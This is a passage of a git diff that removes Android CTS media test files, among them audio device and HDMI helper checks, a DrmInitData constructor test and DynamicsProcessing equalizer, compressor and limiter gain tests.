- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-
-import android.util.Log;
-
-/* package */ class DeviceUtils {
-    private static final String TAG = "DeviceUtils";
-
-    /* package */ static boolean hasOutputDevice(AudioManager audioMgr) {
-        AudioDeviceInfo[] devices = audioMgr.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        return devices.length != 0;
-    }
-
-    /* package */ static boolean hasInputDevice(AudioManager audioMgr) {
-        AudioDeviceInfo[] devices = audioMgr.getDevices(AudioManager.GET_DEVICES_INPUTS);
-        return devices.length != 0;
-    }
-
-    /* package */ static boolean isTVDevice(Context context) {
-        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-    }
-
-    /*
-     * HDMI
-     */
-    /* package */ static boolean isHDMIConnected(Context context) {
-        // configure the IntentFilter
-        IntentFilter intentFilter = new IntentFilter();
-        intentFilter.addAction(AudioManager.ACTION_HDMI_AUDIO_PLUG);
-        Intent intent = context.registerReceiver(null, intentFilter);
-
-        return intent != null && intent.getIntExtra(AudioManager.EXTRA_AUDIO_PLUG_STATE, 0) != 0;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/DrmInitDataTest.java b/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
deleted file mode 100644
index 45396c2..0000000
--- a/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.DrmInitData;
-import android.os.Build;
-import android.test.AndroidTestCase;
-
-import androidx.test.filters.SdkSuppress;
-
-import java.util.UUID;
-
-@NonMediaMainlineTest
-// methods introduced as hidden in R; first exposed in S
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-public class DrmInitDataTest extends AndroidTestCase {
-
-    public void testSchemeInitDataConstructor() {
-        UUID uuid = new UUID(1, 1);
-        String mimeType = "mime/type";
-        byte[] data = new byte[0];
-        DrmInitData.SchemeInitData schemeInitData =
-                new DrmInitData.SchemeInitData(uuid, mimeType, data);
-        assertSame(uuid, schemeInitData.uuid);
-        assertSame(mimeType, schemeInitData.mimeType);
-        assertSame(data, schemeInitData.data);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/DynamicsProcessingTest.java b/tests/tests/media/src/android/media/cts/DynamicsProcessingTest.java
deleted file mode 100644
index ad7e7069..0000000
--- a/tests/tests/media/src/android/media/cts/DynamicsProcessingTest.java
+++ /dev/null
@@ -1,1512 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.Context;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.MediaPlayer;
-import android.media.audiofx.AudioEffect;
-import android.media.audiofx.DynamicsProcessing;
-import android.media.audiofx.DynamicsProcessing.BandBase;
-import android.media.audiofx.DynamicsProcessing.BandStage;
-import android.media.audiofx.DynamicsProcessing.Channel;
-import android.media.audiofx.DynamicsProcessing.Eq;
-import android.media.audiofx.DynamicsProcessing.EqBand;
-import android.media.audiofx.DynamicsProcessing.Limiter;
-import android.media.audiofx.DynamicsProcessing.Mbc;
-import android.media.audiofx.DynamicsProcessing.MbcBand;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-public class DynamicsProcessingTest extends PostProcTestBase {
-
-    private static final String TAG = "DynamicsProcessingTest";
-    private DynamicsProcessing mDP;
-
-    private static final int MIN_CHANNEL_COUNT = 1;
-    private static final float EPSILON = 0.00001f;
-    private static final int DEFAULT_VARIANT =
-            DynamicsProcessing.VARIANT_FAVOR_FREQUENCY_RESOLUTION;
-    private static final boolean DEFAULT_PREEQ_IN_USE = true;
-    private static final int DEFAULT_PREEQ_BAND_COUNT = 2;
-    private static final boolean DEFAULT_MBC_IN_USE = true;
-    private static final int DEFAULT_MBC_BAND_COUNT = 2;
-    private static final boolean DEFAULT_POSTEQ_IN_USE = true;
-    private static final int DEFAULT_POSTEQ_BAND_COUNT = 2;
-    private static final boolean DEFAULT_LIMITER_IN_USE = true;
-    private static final float DEFAULT_FRAME_DURATION = 9.5f;
-    private static final float DEFAULT_INPUT_GAIN = -12.5f;
-
-    private static final int TEST_CHANNEL_COUNT = 2;
-    private static final float TEST_GAIN1 = 12.1f;
-    private static final float TEST_GAIN2 = -2.8f;
-    private static final int TEST_CHANNEL_INDEX = 0;
-    private static final int TEST_BAND_INDEX = 0;
-
-    // -----------------------------------------------------------------
-    // DynamicsProcessing tests:
-    // ----------------------------------
-
-    // -----------------------------------------------------------------
-    // 0 - constructors
-    // ----------------------------------
-
-    // Test case 0.0: test constructor and release
-    @AppModeFull(reason = "Fails for instant but not enough to block the release")
-    public void test0_0ConstructorAndRelease() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-            assertNotNull("null AudioManager", am);
-            createDynamicsProcessing(AudioManager.AUDIO_SESSION_ID_GENERATE);
-            releaseDynamicsProcessing();
-
-            final int session = am.generateAudioSessionId();
-            assertTrue("cannot generate new session", session != AudioManager.ERROR);
-            createDynamicsProcessing(session);
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test0_1ConstructorWithConfigAndRelease() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    // -----------------------------------------------------------------
-    // 1 - create with parameters
-    // ----------------------------------
-
-    public void test1_0ParametersEngine() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            // Check Parameters:
-            DynamicsProcessing.Config engineConfig = mDP.getConfig();
-            final float preferredFrameDuration = engineConfig.getPreferredFrameDuration();
-            assertEquals("preferredFrameDuration is different", DEFAULT_FRAME_DURATION,
-                    preferredFrameDuration, EPSILON);
-
-            final int preEqBandCount = engineConfig.getPreEqBandCount();
-            assertEquals("preEqBandCount is different", DEFAULT_PREEQ_BAND_COUNT, preEqBandCount);
-
-            final int mbcBandCount = engineConfig.getMbcBandCount();
-            assertEquals("mbcBandCount is different", DEFAULT_MBC_BAND_COUNT, mbcBandCount);
-
-            final int postEqBandCount = engineConfig.getPostEqBandCount();
-            assertEquals("postEqBandCount is different", DEFAULT_POSTEQ_BAND_COUNT,
-                    postEqBandCount);
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_1ParametersChannel() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            // Check Parameters:
-            final int channelCount = mDP.getChannelCount();
-            assertTrue("unexpected channel count", channelCount >= MIN_CHANNEL_COUNT);
-
-            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
-
-            final float inputGain = channel.getInputGain();
-            assertEquals("inputGain is different", DEFAULT_INPUT_GAIN, inputGain, EPSILON);
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_2ParametersPreEq() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            DynamicsProcessing.Eq eq = mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX);
-
-            final boolean inUse = eq.isInUse();
-            assertEquals("inUse is different", DEFAULT_PREEQ_IN_USE, inUse);
-
-            final int bandCount = eq.getBandCount();
-            assertEquals("band count is different", DEFAULT_PREEQ_BAND_COUNT, bandCount);
-            releaseDynamicsProcessing();
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_3ParametersMbc() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            DynamicsProcessing.Mbc mbc = mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX);
-
-            final boolean inUse = mbc.isInUse();
-            assertEquals("inUse is different", DEFAULT_MBC_IN_USE, inUse);
-
-            final int bandCount = mbc.getBandCount();
-            assertEquals("band count is different", DEFAULT_MBC_BAND_COUNT, bandCount);
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_4ParametersPostEq() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            DynamicsProcessing.Eq eq = mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX);
-
-            boolean inUse = eq.isInUse();
-            assertEquals("inUse is different", DEFAULT_POSTEQ_IN_USE, inUse);
-
-            int bandCount = eq.getBandCount();
-            assertEquals("band count is different", DEFAULT_POSTEQ_BAND_COUNT, bandCount);
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_5ParametersLimiter() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        try {
-            createDefaultEffect();
-
-            DynamicsProcessing.Limiter limiter = mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX);
-
-            final boolean inUse = limiter.isInUse();
-            assertEquals("inUse is different", DEFAULT_LIMITER_IN_USE, inUse);
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_6Channel_perStage() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        try {
-            createDefaultEffect();
-
-            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
-
-            // Per Stage
-            mDP.setInputGainAllChannelsTo(TEST_GAIN1);
-
-            Eq preEq = mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX);
-            EqBand preEqBand = preEq.getBand(TEST_BAND_INDEX);
-            preEqBand.setGain(TEST_GAIN1);
-            preEq.setBand(TEST_BAND_INDEX, preEqBand);
-            mDP.setPreEqAllChannelsTo(preEq);
-
-            Mbc mbc = mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX);
-            MbcBand mbcBand = mbc.getBand(TEST_BAND_INDEX);
-            mbcBand.setPreGain(TEST_GAIN1);
-            mbc.setBand(TEST_BAND_INDEX, mbcBand);
-            mDP.setMbcAllChannelsTo(mbc);
-
-            Eq postEq = mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX);
-            EqBand postEqBand = postEq.getBand(TEST_BAND_INDEX);
-            postEqBand.setGain(TEST_GAIN1);
-            postEq.setBand(TEST_BAND_INDEX, postEqBand);
-            mDP.setPostEqAllChannelsTo(postEq);
-
-            Limiter limiter = mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX);
-            limiter.setPostGain(TEST_GAIN1);
-            mDP.setLimiterAllChannelsTo(limiter);
-
-            int channelCount = mDP.getChannelCount();
-            for (int i = 0; i < channelCount; i++) {
-                Channel channelTest = mDP.getChannelByChannelIndex(i);
-                assertEquals("inputGain is different in channel " + i, TEST_GAIN1,
-                        channelTest.getInputGain(), EPSILON);
-
-                Eq preEqTest = new Eq(mDP.getPreEqByChannelIndex(i));
-                EqBand preEqBandTest = preEqTest.getBand(TEST_BAND_INDEX);
-                assertEquals("preEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
-
-                Mbc mbcTest = new Mbc(mDP.getMbcByChannelIndex(i));
-                MbcBand mbcBandTest = mbcTest.getBand(TEST_BAND_INDEX);
-                assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
-
-                Eq postEqTest = new Eq(mDP.getPostEqByChannelIndex(i));
-                EqBand postEqBandTest = postEqTest.getBand(TEST_BAND_INDEX);
-                assertEquals("postEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
-
-                Limiter limiterTest = new Limiter(mDP.getLimiterByChannelIndex(i));
-                assertEquals("limiter gain is different in channel " + i,
-                        TEST_GAIN1, limiterTest.getPostGain(), EPSILON);
-
-                // change by Stage
-                mDP.setInputGainbyChannel(i, TEST_GAIN2);
-                assertEquals("inputGain is different in channel " + i, TEST_GAIN2,
-                        mDP.getInputGainByChannelIndex(i), EPSILON);
-
-                preEqBandTest.setGain(TEST_GAIN2);
-                preEqTest.setBand(TEST_BAND_INDEX, preEqBandTest);
-                mDP.setPreEqByChannelIndex(i, preEqTest);
-                assertEquals("preEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN2,
-                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
-
-                mbcBandTest.setPreGain(TEST_GAIN2);
-                mbcTest.setBand(TEST_BAND_INDEX, mbcBandTest);
-                mDP.setMbcByChannelIndex(i, mbcTest);
-                assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN2,
-                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
-
-                postEqBandTest.setGain(TEST_GAIN2);
-                postEqTest.setBand(TEST_BAND_INDEX, postEqBandTest);
-                mDP.setPostEqByChannelIndex(i, postEqTest);
-                assertEquals("postEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN2,
-                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
-
-                limiterTest.setPostGain(TEST_GAIN2);
-                mDP.setLimiterByChannelIndex(i, limiterTest);
-                assertEquals("limiter gain is different in channel " + i,
-                        TEST_GAIN2, mDP.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-            }
-        } finally {
-            releaseDynamicsProcessing();
-        }
-
-    }
-
-    public void test1_7Channel_perBand() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
-
-            // Per Band
-            EqBand preEqBand = mDP.getPreEqBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
-            preEqBand.setGain(TEST_GAIN1);
-            mDP.setPreEqBandAllChannelsTo(TEST_BAND_INDEX, preEqBand);
-
-            MbcBand mbcBand = mDP.getMbcBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
-            mbcBand.setPreGain(TEST_GAIN1);
-            mDP.setMbcBandAllChannelsTo(TEST_BAND_INDEX, mbcBand);
-
-            EqBand postEqBand = mDP.getPostEqBandByChannelIndex(TEST_CHANNEL_INDEX,
-                    TEST_BAND_INDEX);
-            postEqBand.setGain(TEST_GAIN1);
-            mDP.setPostEqBandAllChannelsTo(TEST_BAND_INDEX, postEqBand);
-
-            int channelCount = mDP.getChannelCount();
-
-            for (int i = 0; i < channelCount; i++) {
-
-                EqBand preEqBandTest = new EqBand(mDP.getPreEqBandByChannelIndex(i,
-                        TEST_BAND_INDEX));
-                assertEquals("preEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
-
-                MbcBand mbcBandTest = new MbcBand(mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX));
-                assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
-
-                EqBand postEqBandTest = new EqBand(mDP.getPostEqBandByChannelIndex(i,
-                        TEST_BAND_INDEX));
-                assertEquals("postEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
-
-                // change per Band
-                preEqBandTest.setGain(TEST_GAIN2);
-                mDP.setPreEqBandByChannelIndex(i, TEST_BAND_INDEX, preEqBandTest);
-                assertEquals("preEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN2,
-                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
-
-                mbcBandTest.setPreGain(TEST_GAIN2);
-                mDP.setMbcBandByChannelIndex(i, TEST_BAND_INDEX, mbcBandTest);
-                assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN2,
-                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
-                        EPSILON);
-
-                postEqBandTest.setGain(TEST_GAIN2);
-                mDP.setPostEqBandByChannelIndex(i, TEST_BAND_INDEX, postEqBandTest);
-                assertEquals("postEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN2,
-                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                        EPSILON);
-            }
-
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_8Channel_setAllChannelsTo() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
-            // get Stages, apply all channels
-            Eq preEq = new Eq(mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
-            EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
-            preEqBand.setGain(TEST_GAIN1);
-            preEq.setBand(TEST_BAND_INDEX, preEqBand);
-            channel.setPreEq(preEq);
-
-            Mbc mbc = new Mbc(mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
-            MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
-            mbcBand.setPreGain(TEST_GAIN1);
-            mbc.setBand(TEST_BAND_INDEX, mbcBand);
-            channel.setMbc(mbc);
-
-            Eq postEq = new Eq(mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
-            EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
-            postEqBand.setGain(TEST_GAIN1);
-            postEq.setBand(TEST_BAND_INDEX, postEqBand);
-            channel.setPostEq(postEq);
-
-            Limiter limiter = new Limiter(mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
-            limiter.setPostGain(TEST_GAIN1);
-            channel.setLimiter(limiter);
-
-            mDP.setAllChannelsTo(channel);
-
-            int channelCount = mDP.getChannelCount();
-            for (int i = 0; i < channelCount; i++) {
-                assertEquals("preEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1,
-                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
-
-                assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1,
-                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
-
-                assertEquals("postEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, TEST_GAIN1,
-                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
-
-                assertEquals("limiter gain is different in channel " + i,
-                        TEST_GAIN1, mDP.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-            }
-
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    public void test1_9Channel_setChannelTo() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        try {
-            createDefaultEffect();
-
-            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
-
-            Eq preEq = new Eq(mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
-            EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
-
-            Mbc mbc = new Mbc(mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
-            MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
-
-            Eq postEq = new Eq(mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
-            EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
-
-            Limiter limiter = new Limiter(mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
-
-            // get Stages, apply per channel
-            int channelCount = mDP.getChannelCount();
-            for (int i = 0; i < channelCount; i++) {
-                float gain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
-
-                preEqBand.setGain(gain);
-                preEq.setBand(TEST_BAND_INDEX, preEqBand);
-                channel.setPreEq(preEq);
-
-                mbcBand.setPreGain(gain);
-                mbc.setBand(TEST_BAND_INDEX, mbcBand);
-                channel.setMbc(mbc);
-
-                postEqBand.setGain(gain);
-                postEq.setBand(TEST_BAND_INDEX, postEqBand);
-                channel.setPostEq(postEq);
-
-                limiter.setPostGain(gain);
-                channel.setLimiter(limiter);
-
-                mDP.setChannelTo(i, channel);
-            }
-
-            for (int i = 0; i < channelCount; i++) {
-                float expectedGain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
-                assertEquals("preEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, expectedGain,
-                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                        EPSILON);
-
-                assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, expectedGain,
-                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
-                        EPSILON);
-
-                assertEquals("postEQBand gain is different in channel " + i + " band " +
-                        TEST_BAND_INDEX, expectedGain,
-                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
-                        EPSILON);
-
-                assertEquals("limiter gain is different in channel " + i,
-                        expectedGain, mDP.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
-            }
-
-        } finally {
-            releaseDynamicsProcessing();
-        }
-    }
-
-    // -----------------------------------------------------------------
-    // 2 - config builder tests
-    // ----------------------------------
-
-    public void test2_0ConfigBasic() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        DynamicsProcessing.Config config = getBuilderWithValues().build();
-
-        assertEquals("getVariant is different", DEFAULT_VARIANT,
-                config.getVariant());
-        assertEquals("isPreEqInUse is different", DEFAULT_PREEQ_IN_USE,
-                config.isPreEqInUse());
-        assertEquals("getPreEqBandCount is different", DEFAULT_PREEQ_BAND_COUNT,
-                config.getPreEqBandCount());
-        assertEquals("isMbcInUse is different", DEFAULT_MBC_IN_USE,
-                config.isMbcInUse());
-        assertEquals("getMbcBandCount is different", DEFAULT_MBC_BAND_COUNT,
-                config.getMbcBandCount());
-        assertEquals("isPostEqInUse is different", DEFAULT_POSTEQ_IN_USE,
-                config.isPostEqInUse());
-        assertEquals("getPostEqBandCount is different", DEFAULT_POSTEQ_BAND_COUNT,
-                config.getPostEqBandCount());
-        assertEquals("isLimiterInUse is different", DEFAULT_LIMITER_IN_USE,
-                config.isLimiterInUse());
-        assertEquals("getPreferredFrameDuration is different", DEFAULT_FRAME_DURATION,
-                config.getPreferredFrameDuration());
-    }
-
-    public void test2_1ConfigChannel() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        DynamicsProcessing.Config config = getBuilderWithValues(TEST_CHANNEL_COUNT).build();
-
-        // per channel
-        Channel channel = config.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
-        // change some parameters
-        channel.setInputGain(TEST_GAIN1);
-
-        // get stages from channel
-        Eq preEq = channel.getPreEq();
-        EqBand preEqBand = preEq.getBand(TEST_BAND_INDEX);
-        preEqBand.setGain(TEST_GAIN1);
-        channel.setPreEqBand(TEST_BAND_INDEX, preEqBand);
-
-        Mbc mbc = channel.getMbc();
-        MbcBand mbcBand = mbc.getBand(TEST_BAND_INDEX);
-        mbcBand.setPreGain(TEST_GAIN1);
-        channel.setMbcBand(TEST_BAND_INDEX, mbcBand);
-
-        Eq postEq = channel.getPostEq();
-        EqBand postEqBand = postEq.getBand(TEST_BAND_INDEX);
-        postEqBand.setGain(TEST_GAIN1);
-        channel.setPostEqBand(TEST_BAND_INDEX, postEqBand);
-
-        Limiter limiter = channel.getLimiter();
-        limiter.setPostGain(TEST_GAIN1);
-        channel.setLimiter(limiter);
-
-        config.setAllChannelsTo(channel);
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
-            Channel channelTest = new Channel(config.getChannelByChannelIndex(i));
-            assertEquals("inputGain is different in channel " + i, TEST_GAIN1,
-                    channelTest.getInputGain(), EPSILON);
-
-            EqBand preEqBandTest = new EqBand(channelTest.getPreEqBand(TEST_BAND_INDEX));
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
-
-            MbcBand mbcBandTest = new MbcBand(channelTest.getMbcBand(TEST_BAND_INDEX));
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
-
-            EqBand postEqBandTest = new EqBand(channelTest.getPostEqBand(TEST_BAND_INDEX));
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
-
-            Limiter limiterTest = new Limiter(channelTest.getLimiter());
-            assertEquals("limiter gain is different in channel " + i,
-                    TEST_GAIN1, limiterTest.getPostGain(), EPSILON);
-
-            /// changes per channelIndex
-            channelTest.setInputGain(TEST_GAIN2);
-            preEqBandTest.setGain(TEST_GAIN2);
-            channelTest.setPreEqBand(TEST_BAND_INDEX, preEqBandTest);
-            mbcBandTest.setPreGain(TEST_GAIN2);
-            channelTest.setMbcBand(TEST_BAND_INDEX, mbcBandTest);
-            postEqBandTest.setGain(TEST_GAIN2);
-            channelTest.setPostEqBand(TEST_BAND_INDEX, postEqBandTest);
-            limiterTest.setPostGain(TEST_GAIN2);
-            channelTest.setLimiter(limiterTest);
-            config.setChannelTo(i, channelTest);
-
-            assertEquals("inputGain is different in channel " + i, TEST_GAIN2,
-                    config.getInputGainByChannelIndex(i), EPSILON);
-
-            // get by module
-            Eq preEqTest = config.getPreEqByChannelIndex(i);
-            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
-                    TEST_GAIN2, preEqTest.getBand(TEST_BAND_INDEX).getGain(), EPSILON);
-
-            Mbc mbcTest = config.getMbcByChannelIndex(i);
-            assertEquals("mbcBand preGain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN2, mbcTest.getBand(TEST_BAND_INDEX).getPreGain(),
-                    EPSILON);
-
-            Eq postEqTest = config.getPostEqByChannelIndex(i);
-            assertEquals("postEQBand gain is different in channel " + i + " band " +
-                    TEST_BAND_INDEX, TEST_GAIN2, postEqTest.getBand(TEST_BAND_INDEX).getGain(),
-                    EPSILON);
-
-            limiterTest = config.getLimiterByChannelIndex(i);
-            assertEquals("limiter gain is different in channel " + i,
-                    TEST_GAIN2, limiterTest.getPostGain(), EPSILON);
-        }
-    }
-
-    public void test2_2ConfigChannel_perStage() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        DynamicsProcessing.Config config = getBuilderWithValues(TEST_CHANNEL_COUNT).build();
-
-        // Per Stage
-        config.setInputGainAllChannelsTo(TEST_GAIN1);
-
-        Eq preEq = config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX);
-        EqBand preEqBand = preEq.getBand(TEST_BAND_INDEX);
-        preEqBand.setGain(TEST_GAIN1);
-        preEq.setBand(TEST_BAND_INDEX, preEqBand);
-        config.setPreEqAllChannelsTo(preEq);
-
-        Mbc mbc = config.getMbcByChannelIndex(TEST_CHANNEL_INDEX);
-        MbcBand mbcBand = mbc.getBand(TEST_BAND_INDEX);
-        mbcBand.setPreGain(TEST_GAIN1);
-        mbc.setBand(TEST_BAND_INDEX, mbcBand);
-        config.setMbcAllChannelsTo(mbc);
-
-        Eq postEq = config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX);
-        EqBand postEqBand = postEq.getBand(TEST_BAND_INDEX);
-        postEqBand.setGain(TEST_GAIN1);
-        postEq.setBand(TEST_BAND_INDEX, postEqBand);
-        config.setPostEqAllChannelsTo(postEq);
-
-        Limiter limiter = config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX);
-        limiter.setPostGain(TEST_GAIN1);
-        config.setLimiterAllChannelsTo(limiter);
-
-        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
